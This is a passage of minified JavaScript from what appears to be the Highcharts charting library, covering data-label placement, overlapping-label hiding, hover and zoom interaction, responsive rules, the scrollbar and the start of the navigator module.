a=Math.max(e[2]-t[1]-t[3],o),e[0]+=(t[3]-t[1])/2;null!==s[1]?a=Math.max(Math.min(a,e[2]-Math.max(t[0],t[2])),o):(a=Math.max(Math.min(a,e[2]-t[0]-t[2]),o),e[1]+=(t[0]-t[2])/2),a<e[2]?(e[2]=a,e[3]=Math.min(d(i.innerSize||0,a),a),this.translate(e),this.drawDataLabels&&this.drawDataLabels()):n=!0}return n}),u.column&&(u.column.prototype.alignDataLabel=function(t,e,i,s,o){var n=this.chart.inverted,a=t.series,l=t.dlBox||t.shapeArgs,h=r(t.below,t.plotY>r(this.translatedThreshold,a.yAxis.len)),d=r(i.inside,!!this.options.stacking);l&&(0>(s=c(l)).y&&(s.height+=s.y,s.y=0),0<(l=s.y+s.height-a.yAxis.len)&&(s.height-=l),n&&(s={x:a.yAxis.len-s.y-s.height,y:a.xAxis.len-s.x-s.width,width:s.height,height:s.width}),d||(n?(s.x+=h?0:s.width,s.width=0):(s.y+=h?s.height:0,s.height=0))),i.align=r(i.align,!n||d?"center":h?"right":"left"),i.verticalAlign=r(i.verticalAlign,n||d?"middle":h?"top":"bottom"),p.prototype.alignDataLabel.call(this,t,e,i,s,o),i.inside&&t.contrastColor&&e.css({color:t.contrastColor})})})),e(i,"modules/overlapping-datalabels.src.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.isArray,s=e.objectEach,o=e.pick;e=t.Chart;var n=t.addEvent,a=t.fireEvent;n(e,"render",(function(){var t=[];(this.labelCollectors||[]).forEach((function(e){t=t.concat(e())})),(this.yAxis||[]).forEach((function(e){e.options.stackLabels&&!e.options.stackLabels.allowOverlap&&s(e.stacks,(function(e){s(e,(function(e){t.push(e.label)}))}))})),(this.series||[]).forEach((function(e){var s=e.options.dataLabels;e.visible&&(!1!==s.enabled||e._hasPointLabels)&&e.points.forEach((function(e){e.visible&&(i(e.dataLabels)?e.dataLabels:e.dataLabel?[e.dataLabel]:[]).forEach((function(i){var s=i.options;i.labelrank=o(s.labelrank,e.labelrank,e.shapeArgs&&e.shapeArgs.height),s.allowOverlap||t.push(i)}))}))})),this.hideOverlappingLabels(t)})),e.prototype.hideOverlappingLabels=function(t){var e,i,s,o=this,n=t.length,r=o.renderer,l=function(t){var e=t.box?0:t.padding||0,i=0;if(t&&(!t.alignAttr||t.placed)){var s=t.attr("x"),o=t.attr("y");return s="number"==typeof s&&"number"==typeof o?{x:s,y:o}:t.alignAttr,o=t.parentGroup,t.width||(i=t.getBBox(),t.width=i.width,t.height=i.height,i=r.fontMetrics(null,t.element).h),{x:s.x+(o.translateX||0)+e,y:s.y+(o.translateY||0)+e-i,width:t.width-2*e,height:t.height-2*e}}};for(i=0;i<n;i++)(e=t[i])&&(e.oldOpacity=e.opacity,e.newOpacity=1,e.absoluteBox=l(e));for(t.sort((function(t,e){return(e.labelrank||0)-(t.labelrank||0)})),i=0;i<n;i++){var h=(l=t[i])&&l.absoluteBox;for(e=i+1;e<n;++e){var c=(s=t[e])&&s.absoluteBox;!h||!c||l===s||0===l.newOpacity||0===s.newOpacity||c.x>h.x+h.width||c.x+c.width<h.x||c.y>h.y+h.height||c.y+c.height<h.y||((l.labelrank<s.labelrank?l:s).newOpacity=0)}}t.forEach((function(t){var e;if(t){var i=t.newOpacity;t.oldOpacity!==i&&(t.alignAttr&&t.placed?(i?t.show(!0):e=function(){t.hide(!0),t.placed=!1},t.alignAttr.opacity=i,t[t.isOld?"animate":"attr"](t.alignAttr,null,e),a(o,"afterHideOverlappingLabels")):t.attr({opacity:i})),t.isOld=!0}}))}})),e(i,"parts/Interaction.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.defined,s=e.extend,o=e.isArray,n=e.isObject,a=e.objectEach,r=e.pick,l=t.addEvent;e=t.Chart;var h=t.createElement,c=t.css,d=t.defaultOptions,p=t.defaultPlotOptions,u=t.fireEvent,f=t.hasTouch,g=t.Legend,m=t.merge,v=t.Point,x=t.Series,y=t.seriesTypes,b=t.svg,w=t.TrackerMixin={drawTrackerPoint:function(){var t,e=this,i=e.chart,s=i.pointer,n=function(t){var e=s.getPointFromEvent(t);void 0!==e&&(s.isDirectTouch=!0,e.onMouseOver(t))};e.points.forEach((function(e){t=o(e.dataLabels)?e.dataLabels:e.dataLabel?[e.dataLabel]:[],e.graphic&&(e.graphic.element.point=e),t.forEach((function(t){t.div?t.div.point=e:t.element.point=e}))})),e._hasTracking||(e.trackerGroups.forEach((function(t){e[t]&&(e[t].addClass("highcharts-tracker").on("mouseover",n).on("mouseout",(function(t){s.onTrackerMouseOut(t)})),f&&e[t].on("touchstart",n),!i.styledMode&&e.options.cursor&&e[t].css(c).css({cursor:e.options.cursor}))})),e._hasTracking=!0),u(this,"afterDrawTracker")},drawTrackerGraph:function(){var t,e=this,i=e.options,s=i.trackByArea,o=[].concat(s?e.areaPath:e.graphPath),n=o.length,a=e.chart,r=a.pointer,l=a.renderer,h=a.options.tooltip.snap,c=e.tracker,d=function(){a.hoverSeries!==e&&e.onMouseOver()},p="rgba(192,192,192,"+(b?1e-4:.002)+")";if(n&&!s)for(t=n+1;t--;)"M"===o[t]&&o.splice(t+1,0,o[t+1]-h,o[t+2],"L"),(t&&"M"===o[t]||t===n)&&o.splice(t,0,"L",o[t-2]+h,o[t-1]);c?c.attr({d:o}):e.graph&&(e.tracker=l.path(o).attr({visibility:e.visible?"visible":"hidden",zIndex:2}).addClass(s?"highcharts-tracker-area":"highcharts-tracker-line").add(e.group),a.styledMode||e.tracker.attr({"stroke-linejoin":"round",stroke:p,fill:s?p:"none","stroke-width":e.graph.strokeWidth()+(s?0:2*h)}),[e.tracker,e.markerGroup].forEach((function(t){t.addClass("highcharts-tracker").on("mouseover",d).on("mouseout",(function(t){r.onTrackerMouseOut(t)})),i.cursor&&!a.styledMode&&t.css({cursor:i.cursor}),f&&t.on("touchstart",d)}))),u(this,"afterDrawTracker")}};y.column&&(y.column.prototype.drawTracker=w.drawTrackerPoint),y.pie&&(y.pie.prototype.drawTracker=w.drawTrackerPoint),y.scatter&&(y.scatter.prototype.drawTracker=w.drawTrackerPoint),s(g.prototype,{setItemEvents:function(t,e,i){var s=this,o=s.chart.renderer.boxWrapper,n=t instanceof v,a="highcharts-legend-"+(n?"point":"series")+"-active",r=s.chart.styledMode;(i?e:t.legendGroup).on("mouseover",(function(){t.visible&&s.allItems.forEach((function(e){t!==e&&e.setState("inactive",!n)})),t.setState("hover"),t.visible&&o.addClass(a),r||e.css(s.options.itemHoverStyle)})).on("mouseout",(function(){s.chart.styledMode||e.css(m(t.visible?s.itemStyle:s.itemHiddenStyle)),s.allItems.forEach((function(e){t!==e&&e.setState("",!n)})),o.removeClass(a),t.setState()})).on("click",(function(e){var i=function(){t.setVisible&&t.setVisible(),s.allItems.forEach((function(e){t!==e&&e.setState(t.visible?"inactive":"",!n)}))};o.removeClass(a),e={browserEvent:e},t.firePointEvent?t.firePointEvent("legendItemClick",e,i):u(t,"legendItemClick",e,i)}))},createCheckboxForItem:function(t){t.checkbox=h("input",{type:"checkbox",className:"highcharts-legend-checkbox",checked:t.selected,defaultChecked:t.selected},this.options.itemCheckboxStyle,this.chart.container),l(t.checkbox,"click",(function(e){u(t.series||t,"checkboxClick",{checked:e.target.checked,item:t},(function(){t.select()}))}))}}),s(e.prototype,{showResetZoom:function(){function t(){e.zoomOut()}var e=this,i=d.lang,s=e.options.chart.resetZoomButton,o=s.theme,n=o.states,a="chart"===s.relativeTo||"spaceBox"===s.relativeTo?null:"plotBox";u(this,"beforeShowResetZoom",null,(function(){e.resetZoomButton=e.renderer.button(i.resetZoom,null,null,t,o,n&&n.hover).attr({align:s.position.align,title:i.resetZoomTitle}).addClass("highcharts-reset-zoom").add().align(s.position,!1,a)})),u(this,"afterShowResetZoom")},zoomOut:function(){u(this,"selection",{resetSelection:!0},this.zoom)},zoom:function(t){var e,s=this,o=s.pointer,a=!1,l=s.inverted?o.mouseDownX:o.mouseDownY;!t||t.resetSelection?(s.axes.forEach((function(t){e=t.zoom()})),o.initiated=!1):t.xAxis.concat(t.yAxis).forEach((function(t){var n=t.axis,r=s.inverted?n.left:n.top,h=s.inverted?r+n.width:r+n.height,c=n.isXAxis,d=!1;(!c&&l>=r&&l<=h||c||!i(l))&&(d=!0),o[c?"zoomX":"zoomY"]&&d&&(e=n.zoom(t.min,t.max),n.displayBtn&&(a=!0))}));var h=s.resetZoomButton;a&&!h?s.showResetZoom():!a&&n(h)&&(s.resetZoomButton=h.destroy()),e&&s.redraw(r(s.options.chart.animation,t&&t.animation,100>s.pointCount))},pan:function(t,e){var i,s=this,o=s.hoverPoints;u(this,"pan",{originalEvent:t},(function(){o&&o.forEach((function(t){t.setState()})),("xy"===e?[1,0]:[1]).forEach((function(e){var o=(e=s[e?"xAxis":"yAxis"][0]).horiz,n=t[o?"chartX":"chartY"],a=s[o=o?"mouseDownX":"mouseDownY"],r=(e.pointRange||0)/2,l=e.reversed&&!s.inverted||!e.reversed&&s.inverted?-1:1,h=e.getExtremes(),c=e.toValue(a-n,!0)+r*l,d=(l=e.toValue(a+e.len-n,!0)-r*l)<c;a=d?l:c,c=d?c:l,0<(d=(l=Math.min(h.dataMin,r?h.min:e.toValue(e.toPixels(h.min)-e.minPixelPadding)))-a)&&(c+=d,a=l),0<(d=c-(r=Math.max(h.dataMax,r?h.max:e.toValue(e.toPixels(h.max)+e.minPixelPadding))))&&(c=r,a-=d),e.series.length&&a!==h.min&&c!==h.max&&(e.setExtremes(a,c,!1,!1,{trigger:"pan"}),i=!0),s[o]=n})),i&&s.redraw(!1),c(s.container,{cursor:"move"})}))}}),s(v.prototype,{select:function(t,e){var i=this,s=i.series,o=s.chart;this.selectedStaging=t=r(t,!i.selected),i.firePointEvent(t?"select":"unselect",{accumulate:e},(function(){i.selected=i.options.selected=t,s.options.data[s.data.indexOf(i)]=i.options,i.setState(t&&"select"),e||o.getSelectedPoints().forEach((function(t){var e=t.series;t.selected&&t!==i&&(t.selected=t.options.selected=!1,e.options.data[e.data.indexOf(t)]=t.options,t.setState(o.hoverPoints&&e.options.inactiveOtherPoints?"inactive":""),t.firePointEvent("unselect"))}))})),delete this.selectedStaging},onMouseOver:function(t){var e=this.series.chart,i=e.pointer;t=t?i.normalize(t):i.getChartCoordinatesFromPoint(this,e.inverted),i.runPointActions(t,this)},onMouseOut:function(){var t=this.series.chart;this.firePointEvent("mouseOut"),this.series.options.inactiveOtherPoints||(t.hoverPoints||[]).forEach((function(t){t.setState()})),t.hoverPoints=t.hoverPoint=null},importEvents:function(){if(!this.hasImportedEvents){var e=this,i=m(e.series.options.point,e.options).events;e.events=i,a(i,(function(i,s){t.isFunction(i)&&l(e,s,i)})),this.hasImportedEvents=!0}},setState:function(t,e){var i,o=this.series,n=this.state,a=o.options.states[t||"normal"]||{},l=p[o.type].marker&&o.options.marker,h=l&&!1===l.enabled,c=l&&l.states&&l.states[t||"normal"]||{},d=!1===c.enabled,f=o.stateMarkerGraphic,g=this.marker||{},m=o.chart,v=o.halo,x=l&&o.markerAttribs;if(!((t=t||"")===this.state&&!e||this.selected&&"select"!==t||!1===a.enabled||t&&(d||h&&!1===c.enabled)||t&&g.states&&g.states[t]&&!1===g.states[t].enabled)){if(this.state=t,x&&(i=o.markerAttribs(this,t)),this.graphic){if(n&&this.graphic.removeClass("highcharts-point-"+n),t&&this.graphic.addClass("highcharts-point-"+t),!m.styledMode){var y=o.pointAttribs(this,t),b=r(m.options.chart.animation,a.animation);o.options.inactiveOtherPoints&&((this.dataLabels||[]).forEach((function(t){t&&t.animate({opacity:y.opacity},b)})),this.connector&&this.connector.animate({opacity:y.opacity},b)),this.graphic.animate(y,b)}i&&this.graphic.animate(i,r(m.options.chart.animation,c.animation,l.animation)),f&&f.hide()}else t&&c&&(n=g.symbol||o.symbol,f&&f.currentSymbol!==n&&(f=f.destroy()),i&&(f?f[e?"animate":"attr"]({x:i.x,y:i.y}):n&&(o.stateMarkerGraphic=f=m.renderer.symbol(n,i.x,i.y,i.width,i.height).add(o.markerGroup),f.currentSymbol=n)),!m.styledMode&&f&&f.attr(o.pointAttribs(this,t))),f&&(f[t&&this.isInside?"show":"hide"](),f.element.point=this);t=a.halo,a=(f=this.graphic||f)&&f.visibility||"inherit",t&&t.size&&f&&"hidden"!==a?(v||(o.halo=v=m.renderer.path().add(f.parentGroup)),v.show()[e?"animate":"attr"]({d:this.haloPath(t.size)}),v.attr({class:"highcharts-halo highcharts-color-"+r(this.colorIndex,o.colorIndex)+(this.className?" "+this.className:""),visibility:a,zIndex:-1}),v.point=this,m.styledMode||v.attr(s({fill:this.color||o.color,"fill-opacity":t.opacity},t.attributes))):v&&v.point&&v.point.haloPath&&v.animate({d:v.point.haloPath(0)},null,v.hide),u(this,"afterSetState")}},haloPath:function(t){return this.series.chart.renderer.symbols.circle(Math.floor(this.plotX)-t,this.plotY-t,2*t,2*t)}}),s(x.prototype,{onMouseOver:function(){var t=this.chart,e=t.hoverSeries;e&&e!==this&&e.onMouseOut(),this.options.events.mouseOver&&u(this,"mouseOver"),this.setState("hover"),t.hoverSeries=this},onMouseOut:function(){var t=this.options,e=this.chart,i=e.tooltip,s=e.hoverPoint;e.hoverSeries=null,s&&s.onMouseOut(),this&&t.events.mouseOut&&u(this,"mouseOut"),!i||this.stickyTracking||i.shared&&!this.noSharedTooltip||i.hide(),e.series.forEach((function(t){t.setState("",!0)}))},setState:function(t,e){var i=this,s=i.options,o=i.graph,n=s.inactiveOtherPoints,a=s.states,l=s.lineWidth,h=s.opacity,c=r(a[t||"normal"]&&a[t||"normal"].animation,i.chart.options.chart.animation);if(s=0,t=t||"",i.state!==t&&([i.group,i.markerGroup,i.dataLabelsGroup].forEach((function(e){e&&(i.state&&e.removeClass("highcharts-series-"+i.state),t&&e.addClass("highcharts-series-"+t))})),i.state=t,!i.chart.styledMode)){if(a[t]&&!1===a[t].enabled)return;if(t&&(l=a[t].lineWidth||l+(a[t].lineWidthPlus||0),h=r(a[t].opacity,h)),o&&!o.dashstyle)for(a={"stroke-width":l},o.animate(a,c);i["zone-graph-"+s];)i["zone-graph-"+s].attr(a),s+=1;n||[i.group,i.markerGroup,i.dataLabelsGroup,i.labelBySeries].forEach((function(t){t&&t.animate({opacity:h},c)}))}e&&n&&i.points&&i.setAllPointsToState(t)},setAllPointsToState:function(t){this.points.forEach((function(e){e.setState&&e.setState(t)}))},setVisible:function(t,e){var i=this,s=i.chart,o=i.legendItem,n=s.options.chart.ignoreHiddenSeries,a=i.visible,r=(i.visible=t=i.options.visible=i.userOptions.visible=void 0===t?!a:t)?"show":"hide";["group","dataLabelsGroup","markerGroup","tracker","tt"].forEach((function(t){i[t]&&i[t][r]()})),s.hoverSeries!==i&&(s.hoverPoint&&s.hoverPoint.series)!==i||i.onMouseOut(),o&&s.legend.colorizeItem(i,t),i.isDirty=!0,i.options.stacking&&s.series.forEach((function(t){t.options.stacking&&t.visible&&(t.isDirty=!0)})),i.linkedSeries.forEach((function(e){e.setVisible(t,!1)})),n&&(s.isDirtyBox=!0),u(i,r),!1!==e&&s.redraw()},show:function(){this.setVisible(!0)},hide:function(){this.setVisible(!1)},select:function(t){this.selected=t=this.options.selected=void 0===t?!this.selected:t,this.checkbox&&(this.checkbox.checked=t),u(this,t?"select":"unselect")},drawTracker:w.drawTrackerGraph})})),e(i,"parts/Responsive.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.isArray,s=e.isObject,o=e.objectEach,n=e.pick,a=e.splat;(e=t.Chart).prototype.setResponsive=function(e,i){var s=this.options.responsive,o=[],n=this.currentResponsive;!i&&s&&s.rules&&s.rules.forEach((function(e){void 0===e._id&&(e._id=t.uniqueKey()),this.matchResponsiveRule(e,o)}),this),(i=t.merge.apply(0,o.map((function(e){return t.find(s.rules,(function(t){return t._id===e})).chartOptions})))).isResponsiveOptions=!0,(o=o.toString()||void 0)!==(n&&n.ruleIds)&&(n&&this.update(n.undoOptions,e,!0),o?((n=this.currentOptions(i)).isResponsiveOptions=!0,this.currentResponsive={ruleIds:o,mergedOptions:i,undoOptions:n},this.update(i,e,!0)):this.currentResponsive=void 0)},e.prototype.matchResponsiveRule=function(t,e){var i=t.condition;(i.callback||function(){return this.chartWidth<=n(i.maxWidth,Number.MAX_VALUE)&&this.chartHeight<=n(i.maxHeight,Number.MAX_VALUE)&&this.chartWidth>=n(i.minWidth,0)&&this.chartHeight>=n(i.minHeight,0)}).call(this)&&e.push(t._id)},e.prototype.currentOptions=function(t){var e=this,n={};return function t(n,r,l,h){var c;o(n,(function(o,n){if(!h&&-1<e.collectionsWithUpdate.indexOf(n))for(o=a(o),l[n]=[],c=0;c<o.length;c++)r[n][c]&&(l[n][c]={},t(o[c],r[n][c],l[n][c],h+1));else s(o)?(l[n]=i(o)?[]:{},t(o,r[n]||{},l[n],h+1)):l[n]=void 0===r[n]?null:r[n]}))}(t,this.options,n,0),n}})),e(i,"masters/highcharts.src.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){return(0,e.extend)(t,{arrayMax:e.arrayMax,arrayMin:e.arrayMin,attr:e.attr,defined:e.defined,erase:e.erase,extend:e.extend,isArray:e.isArray,isClass:e.isClass,isDOMElement:e.isDOMElement,isNumber:e.isNumber,isObject:e.isObject,isString:e.isString,objectEach:e.objectEach,pick:e.pick,pInt:e.pInt,setAnimation:e.setAnimation,splat:e.splat,syncTimeout:e.syncTimeout}),t})),e(i,"parts/Scrollbar.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){function i(t,e,i){this.init(t,e,i)}var s=e.defined,o=e.destroyObjectProperties,n=e.pick,a=t.addEvent;e=t.Axis;var r,l=t.correctFloat,h=t.defaultOptions,c=t.fireEvent,d=t.hasTouch,p=t.merge,u=t.removeEvent,f={height:t.isTouchDevice?20:14,barBorderRadius:0,buttonBorderRadius:0,liveRedraw:void 0,margin:10,minWidth:6,step:.2,zIndex:3,barBackgroundColor:"#cccccc",barBorderWidth:1,barBorderColor:"#cccccc",buttonArrowColor:"#333333",buttonBackgroundColor:"#e6e6e6",buttonBorderColor:"#cccccc",buttonBorderWidth:1,rifleColor:"#333333",trackBackgroundColor:"#f2f2f2",trackBorderColor:"#f2f2f2",trackBorderWidth:1};h.scrollbar=p(!0,f,h.scrollbar),t.swapXY=r=function(t,e){var i=t.length;if(e)for(e=0;e<i;e+=3){var s=t[e+1];t[e+1]=t[e+2],t[e+2]=s}return t},i.prototype={init:function(t,e,i){this.scrollbarButtons=[],this.renderer=t,this.userOptions=e,this.options=p(f,e),this.chart=i,this.size=n(this.options.size,this.options.height),e.enabled&&(this.render(),this.initEvents(),this.addEvents())},render:function(){var t,e=this.renderer,i=this.options,s=this.size,o=this.chart.styledMode;this.group=t=e.g("scrollbar").attr({zIndex:i.zIndex,translateY:-99999}).add(),this.track=e.rect().addClass("highcharts-scrollbar-track").attr({x:0,r:i.trackBorderRadius||0,height:s,width:s}).add(t),o||this.track.attr({fill:i.trackBackgroundColor,stroke:i.trackBorderColor,"stroke-width":i.trackBorderWidth}),this.trackBorderWidth=this.track.strokeWidth(),this.track.attr({y:-this.trackBorderWidth%2/2}),this.scrollbarGroup=e.g().add(t),this.scrollbar=e.rect().addClass("highcharts-scrollbar-thumb").attr({height:s,width:s,r:i.barBorderRadius||0}).add(this.scrollbarGroup),this.scrollbarRifles=e.path(r(["M",-3,s/4,"L",-3,2*s/3,"M",0,s/4,"L",0,2*s/3,"M",3,s/4,"L",3,2*s/3],i.vertical)).addClass("highcharts-scrollbar-rifles").add(this.scrollbarGroup),o||(this.scrollbar.attr({fill:i.barBackgroundColor,stroke:i.barBorderColor,"stroke-width":i.barBorderWidth}),this.scrollbarRifles.attr({stroke:i.rifleColor,"stroke-width":1})),this.scrollbarStrokeWidth=this.scrollbar.strokeWidth(),this.scrollbarGroup.translate(-this.scrollbarStrokeWidth%2/2,-this.scrollbarStrokeWidth%2/2),this.drawScrollbarButton(0),this.drawScrollbarButton(1)},position:function(t,e,i,s){var o=this.options.vertical,n=0,a=this.rendered?"animate":"attr";this.x=t,this.y=e+this.trackBorderWidth,this.width=i,this.xOffset=this.height=s,this.yOffset=n,o?(this.width=this.yOffset=i=n=this.size,this.xOffset=e=0,this.barWidth=s-2*i,this.x=t+=this.options.margin):(this.height=this.xOffset=s=e=this.size,this.barWidth=i-2*s,this.y+=this.options.margin),this.group[a]({translateX:t,translateY:this.y}),this.track[a]({width:i,height:s}),this.scrollbarButtons[1][a]({translateX:o?0:i-e,translateY:o?s-n:0})},drawScrollbarButton:function(t){var e=this.renderer,i=this.scrollbarButtons,s=this.options,o=this.size,n=e.g().add(this.group);i.push(n),n=e.rect().addClass("highcharts-scrollbar-button").add(n),this.chart.styledMode||n.attr({stroke:s.buttonBorderColor,"stroke-width":s.buttonBorderWidth,fill:s.buttonBackgroundColor}),n.attr(n.crisp({x:-.5,y:-.5,width:o+1,height:o+1,r:s.buttonBorderRadius},n.strokeWidth())),n=e.path(r(["M",o/2+(t?-1:1),o/2-3,"L",o/2+(t?-1:1),o/2+3,"L",o/2+(t?2:-2),o/2],s.vertical)).addClass("highcharts-scrollbar-arrow").add(i[t]),this.chart.styledMode||n.attr({fill:s.buttonArrowColor})},setRange:function(t,e){var i,o=this.options,n=o.vertical,a=o.minWidth,r=this.barWidth,h=!this.rendered||this.hasDragged||this.chart.navigator&&this.chart.navigator.hasDragged?"attr":"animate";if(s(r)){t=Math.max(t,0);var c=Math.ceil(r*t);this.calculatedWidth=i=l(r*Math.min(e,1)-c),i<a&&(c=(r-a+i)*t,i=a),a=Math.floor(c+this.xOffset+this.yOffset),r=i/2-.5,this.from=t,this.to=e,n?(this.scrollbarGroup[h]({translateY:a}),this.scrollbar[h]({height:i}),this.scrollbarRifles[h]({translateY:r}),this.scrollbarTop=a,this.scrollbarLeft=0):(this.scrollbarGroup[h]({translateX:a}),this.scrollbar[h]({width:i}),this.scrollbarRifles[h]({translateX:r}),this.scrollbarLeft=a,this.scrollbarTop=0),12>=i?this.scrollbarRifles.hide():this.scrollbarRifles.show(!0),!1===o.showFull&&(0>=t&&1<=e?this.group.hide():this.group.show()),this.rendered=!0}},initEvents:function(){var t=this;t.mouseMoveHandler=function(e){var i=t.chart.pointer.normalize(e),s=t.options.vertical?"chartY":"chartX",o=t.initPositions;!t.grabbedCenter||e.touches&&0===e.touches[0][s]||(s=(i=t.cursorToScrollbarPosition(i)[s])-(s=t[s]),t.hasDragged=!0,t.updatePosition(o[0]+s,o[1]+s),t.hasDragged&&c(t,"changed",{from:t.from,to:t.to,trigger:"scrollbar",DOMType:e.type,DOMEvent:e}))},t.mouseUpHandler=function(e){t.hasDragged&&c(t,"changed",{from:t.from,to:t.to,trigger:"scrollbar",DOMType:e.type,DOMEvent:e}),t.grabbedCenter=t.hasDragged=t.chartX=t.chartY=null},t.mouseDownHandler=function(e){e=t.chart.pointer.normalize(e),e=t.cursorToScrollbarPosition(e),t.chartX=e.chartX,t.chartY=e.chartY,t.initPositions=[t.from,t.to],t.grabbedCenter=!0},t.buttonToMinClick=function(e){var i=l(t.to-t.from)*t.options.step;t.updatePosition(l(t.from-i),l(t.to-i)),c(t,"changed",{from:t.from,to:t.to,trigger:"scrollbar",DOMEvent:e})},t.buttonToMaxClick=function(e){var i=(t.to-t.from)*t.options.step;t.updatePosition(t.from+i,t.to+i),c(t,"changed",{from:t.from,to:t.to,trigger:"scrollbar",DOMEvent:e})},t.trackClick=function(e){var i=t.chart.pointer.normalize(e),s=t.to-t.from,o=t.y+t.scrollbarTop,n=t.x+t.scrollbarLeft;t.options.vertical&&i.chartY>o||!t.options.vertical&&i.chartX>n?t.updatePosition(t.from+s,t.to+s):t.updatePosition(t.from-s,t.to-s),c(t,"changed",{from:t.from,to:t.to,trigger:"scrollbar",DOMEvent:e})}},cursorToScrollbarPosition:function(t){var e=this.options;return e=e.minWidth>this.calculatedWidth?e.minWidth:0,{chartX:(t.chartX-this.x-this.xOffset)/(this.barWidth-e),chartY:(t.chartY-this.y-this.yOffset)/(this.barWidth-e)}},updatePosition:function(t,e){1<e&&(t=l(1-l(e-t)),e=1),0>t&&(e=l(e-t),t=0),this.from=t,this.to=e},update:function(t){this.destroy(),this.init(this.chart.renderer,p(!0,this.options,t),this.chart)},addEvents:function(){var t=this.options.inverted?[1,0]:[0,1],e=this.scrollbarButtons,i=this.scrollbarGroup.element,s=this.mouseDownHandler,o=this.mouseMoveHandler,n=this.mouseUpHandler;t=[[e[t[0]].element,"click",this.buttonToMinClick],[e[t[1]].element,"click",this.buttonToMaxClick],[this.track.element,"click",this.trackClick],[i,"mousedown",s],[i.ownerDocument,"mousemove",o],[i.ownerDocument,"mouseup",n]],d&&t.push([i,"touchstart",s],[i.ownerDocument,"touchmove",o],[i.ownerDocument,"touchend",n]),t.forEach((function(t){a.apply(null,t)})),this._events=t},removeEvents:function(){this._events.forEach((function(t){u.apply(null,t)})),this._events.length=0},destroy:function(){var t=this.chart.scroller;this.removeEvents(),["track","scrollbarRifles","scrollbar","scrollbarGroup","group"].forEach((function(t){this[t]&&this[t].destroy&&(this[t]=this[t].destroy())}),this),t&&this===t.scrollbar&&(t.scrollbar=null,o(t.scrollbarButtons))}},t.Scrollbar||(a(e,"afterInit",(function(){var e=this;e.options&&e.options.scrollbar&&e.options.scrollbar.enabled&&(e.options.scrollbar.vertical=!e.horiz,e.options.startOnTick=e.options.endOnTick=!1,e.scrollbar=new i(e.chart.renderer,e.options.scrollbar,e.chart),a(e.scrollbar,"changed",(function(i){var o=Math.min(n(e.options.min,e.min),e.min,e.dataMin),a=Math.max(n(e.options.max,e.max),e.max,e.dataMax)-o;if(e.horiz&&!e.reversed||!e.horiz&&e.reversed){var r=o+a*this.to;o+=a*this.from}else r=o+a*(1-this.from),o+=a*(1-this.to);n(this.options.liveRedraw,t.svg&&!t.isTouchDevice&&!this.chart.isBoosting)||"mouseup"===i.DOMType||!s(i.DOMType)?e.setExtremes(o,r,!0,"mousemove"!==i.DOMType,i):this.setRange(this.from,this.to)})))})),a(e,"afterRender",(function(){var t=Math.min(n(this.options.min,this.min),this.min,n(this.dataMin,this.min)),e=Math.max(n(this.options.max,this.max),this.max,n(this.dataMax,this.max)),i=this.scrollbar,o=this.axisTitleMargin+(this.titleOffset||0),a=this.chart.scrollbarsOffsets,r=this.options.margin||0;i&&(this.horiz?(this.opposite||(a[1]+=o),i.position(this.left,this.top+this.height+2+a[1]-(this.opposite?r:0),this.width,this.height),this.opposite||(a[1]+=r),o=1):(this.opposite&&(a[0]+=o),i.position(this.left+this.width+2+a[0]-(this.opposite?0:r),this.top,this.width,this.height),this.opposite&&(a[0]+=r),o=0),a[o]+=i.size+i.options.margin,isNaN(t)||isNaN(e)||!s(this.min)||!s(this.max)||this.min===this.max?i.setRange(0,1):(a=(this.min-t)/(e-t),t=(this.max-t)/(e-t),this.horiz&&!this.reversed||!this.horiz&&this.reversed?i.setRange(a,t):i.setRange(1-t,1-a)))})),a(e,"afterGetOffset",(function(){var t=this.horiz?2:1,e=this.scrollbar;e&&(this.chart.scrollbarsOffsets=[0,0],this.chart.axisOffset[t]+=e.size+e.options.margin)})),t.Scrollbar=i)})),e(i,"parts/Navigator.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){function i(t){this.init(t)}var s=e.defined,o=e.destroyObjectProperties,n=e.erase,a=e.extend,r=e.isArray,l=e.isNumber,h=e.pick,c=e.splat,d=t.addEvent,p=t.Axis;e=t.Chart;var u=t.color,f=t.defaultOptions,g=t.hasTouch,m=t.isTouchDevice,v=t.merge,x=t.removeEvent,y=t.Scrollbar,b=t.Series,w=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];if((e=[].filter.call(e,l)).length)return Math[t].apply(0,e)},k=void 0===t.seriesTypes.areaspline?"line":"areaspline";a(f,{navigator:{height:40,margin:25,maskInside:!0,handles:{width:7,height:15,symbols:["navigator-handle","navigator-handle"],enabled:!0,lineWidth:1,backgroundColor:"#f2f2f2",borderColor:"#999999"},maskFill:u("#6685c2").setOpacity(.3).get(),outlineColor:"#cccccc",outlineWidth:1,series:{type:k,fillOpacity:.05,lineWidth:1,compare:null,dataGrouping:{approximation:"average",enabled:!0,groupPixelWidth:2,smoothed:!0,units:[["millisecond",[1,2,5,10,20,25,50,100,200,500]],["second",[1,2,5,10,15,30]],["minute",[1,2,5,10,15,30]],["hour",[1,2,3,4,6,8,12]],["day",[1,2,3,4]],["week",[1,2,3]],["month",[1,3,6]],["year",null]]},dataLabels:{enabled:!1,zIndex:2},id:"highcharts-navigator-series",className:"highcharts-navigator-series",lineColor:null,marker:{enabled:!1},threshold:null},xAxis:{overscroll:0,className:"highcharts-navigator-xaxis",tickLength:0,lineWidth:0,gridLineColor:"#e6e6e6",gridLineWidth:1,tickPixelInterval:200,labels:{align:"left",style:{color:"#999999"},x:3,y:-4},crosshair:!1},yAxis:{className:"highcharts-navigator-yaxis",gridLineWidth:0,startOnTick:!1,endOnTick:!1,minPadding:.1,maxPadding:.1,labels:{enabled:!1},crosshair:!1,title:{text:null},tickLength:0,tickWidth:0}}}),t.Renderer.prototype.symbols["navigator-handle"]=function(t,e,i,s,o){return t=o.width/2,e=Math.round(t/3)+.5,["M",-t-1,.5,"L",t,.5,"L",t,(o=o.height)+.5,"L",-t-1,o+.5,"L",-t-1,.5,"M",-e,4,"L",-e,o-3,"M",e-1,4,"L",e-1,o-3]},p.prototype.toFixedRange=function(e,i,o,n){var a=this.chart&&this.chart.fixedRange,r=(this.pointRange||0)/2;e=h(o,this.translate(e,!0,!this.horiz)),i=h(n,this.translate(i,!0,!this.horiz));var 